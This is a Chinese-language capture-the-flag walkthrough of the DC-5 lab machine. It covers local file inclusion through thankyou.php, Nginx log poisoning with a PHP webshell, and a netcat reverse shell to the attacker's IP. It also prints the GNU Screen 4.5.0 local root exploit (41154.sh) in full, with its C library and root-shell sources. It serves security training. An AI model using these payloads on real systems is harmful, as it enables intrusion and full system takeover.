下载地址：https://www.five86.com/dc-5.html
则靶机DC-5 ip：192.168.188.158（NAT连接）
攻击机kalilinux ip：192.168.188.144

用netdiscover -r 192.168.188.0/24 扫描ip，得到靶机ip 192.168.188.160

先来端口扫描
利用nmap对目标主机进行端口扫描，发现开放端口：80

使用命令：nmap -A -p- 192.168.188.160

扫描目录

命令：dirb http://192.168.188.160

访问DC-5的web服务，只有一个提示，看不出什么特别来

查看一下网站的页面功能后，点击打开contact页面的提交留言后，出现改变。
发现contact页面在提交留言后，出现改变，年份刷新一次改变一次。

直接访问http://192.168.188.160/thinkyou.php也是一样的界面

访问http://192.168.188.160/footer.php

考虑存在文件包含
服务器执行PHP文件时，可以通过文件包含函数加载另一个文件中的PHP代码，并且当PHP来执行，这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时，您只更新一个包含文件就可以了，或者当您向网站添加一张新页面时，仅仅需要修改一下菜单文件（而不是更新所有网页中的链接）
该网站网页每刷新一次，年份都会发生变化，因此我们猜测thinkyou.php调用了footer.php，于是想到了文件包含漏洞
尝试FUZZ参数

root@kalilinux:~# wfuzz -z file,/usr/share/wfuzz/wordlist/general/common.txt http://192.168.188.160/thankyou.php?FUZZ=/etc/passwd

用burp抓包检测，可以看到的确存在该漏洞并且没有过滤包含进来的内容

将一句话木马写入到php的日志文件中，包含文件
在前面的nmap扫描中，我们已经知道该web服务器使用的是Nginx服务，并且在网站上的每一步操作都将会被写入日志文件log内，因此我们可以通过log来拿 shell，写入phpinfo（）进行探测，是否可以包含成功。
将一句话木马通过URL写入到服务器上面，并且通过burp进行抓包。

通过日志文件log查看是否写入成功。
日志路径为：/var/log/nginx/access.log，是系统默认路径

通过firefox浏览器打开访问URL：http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log，发现一句话木马已经写入成功。

使用bp抓包写入PHP的执行系统命令 （关于passthru（）函数的快速描述passthru - 执行外部程序并显示原始输出）

进行测试，看是否外部命令是否能够正常执行的；

命令：http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log&abc=cat%20/etc/passwd

反弹shell
通过nc命令直接进行shell反弹

abc=nc -e /bin/sh 192.168.188.144 7777http://192.168.188.160/thankyou.php?file=/var/log/nginx/access.log&abc=nc -e /bin/sh 192.168.188.144 777

在kali上用命令：nc -lvvp 7777 对端口7777进行监听

切换到交互模式shell

交互式shell命令:python -c 'import pty;pty.spawn("/bin/bash")'

查看具有特殊权限的二进制文件
查找一下可以用root权限运行的命令；

命令：find / -perm -u=s -type f 2>/dev/null

这里我们发现了一个screen-4.5.0的这个特殊文件
在kali中使用searchsploit命令对screen-4.5.0漏洞进行搜索

[email protected]:~# searchsploit screen 4.5.0---------------------------------------------------------------------------------------- ---------------------------------------- Exploit Title                                                                          |  Path                                                                                        | (/usr/share/exploitdb/)---------------------------------------------------------------------------------------- ----------------------------------------GNU Screen 4.5.0 - Local Privilege Escalation                                           | exploits/linux/local/41154.shGNU Screen 4.5.0 - Local Privilege Escalation (PoC)                                     | exploits/linux/local/41152.txt---------------------------------------------------------------------------------------- ----------------------------------------Shellcodes: No Result

我们直接利用

/usr/share/exploitdb/exploits/linux/local/目录下的41154.sh文件
将该41154.sh文件拷贝到/root目录下

将41154.sh文件上传到目标机DC-5上面
kali中当前路径开启python.server，供DC-5下载

命令：python -m SimpleHTTPServer 9999

用python开启简单的服务器后，在以获得的DC-5的getshell下载41154.sh文件；

编译脚本

chmod +x 41154.sh./41154.sh

我们可以发现，脚本执行出现错误。
重新在kali中打开41154.sh文件，研究一下41154.sh脚本代码

[email protected]:~# cat 41154.sh# !/bin/bash# screenroot.sh# setuid screen v4.5.0 local root exploit# abuses ld.so.preload overwriting to get root.# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html# HACK THE PLANET# ~ infodox (25/1/2017) echo "~ gnu/screenroot ~"echo "[+] First, we create our shell and library..."cat << EOF > /tmp/libhax.c# include <stdio.h># include <sys/types.h># include <unistd.h>__attribute__ ((__constructor__))void dropshell(void){    chown("/tmp/rootshell", 0, 0);    chmod("/tmp/rootshell", 04755);    unlink("/etc/ld.so.preload");    printf("[+] done!\n");}EOFgcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.crm -f /tmp/libhax.ccat << EOF > /tmp/rootshell.c# include <stdio.h>int main(void){    setuid(0);    setgid(0);    seteuid(0);    setegid(0);    execvp("/bin/sh", NULL, NULL);}EOFgcc -o /tmp/rootshell /tmp/rootshell.crm -f /tmp/rootshell.cecho "[+] Now we create our /etc/ld.so.preload file..."cd /etcumask 000 # becausescreen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline neededecho "[+] Triggering..."screen -ls # screen itself is setuid, so... /tmp/rootshell[plain]:set ff=unix[email protected]:~# 

通过以上分析，我们应该对以上代码分三步走
第一步：把该bash文件的上面一部分c语言代码单独复制出来，如图

libhax.c进行编译，编译完成后将libhax.c文件删除；

第二步：把下面一个c语言代码也单独复制出来取文件名为rootshell.c，然后进行编译操作

对rootshell.c文件进行gcc编译后，将原文件rootshell.c删除掉；

第三步：修改原来41154.sh的bash文件，如下图所示

第四步：通过vi编译器打开已经编译好的41154.sh文件，并使用 :set ff=unix 进行保存
编译后对41154.sh进行更名为dc5.sh

最后把编译好的两个文件（libhax.so 和 rootshell）和41154.sh文件全部都上传到DC-5靶机上面

提权
给dc5.sh文件赋予执行权，并且运行dc5.sh，提权成功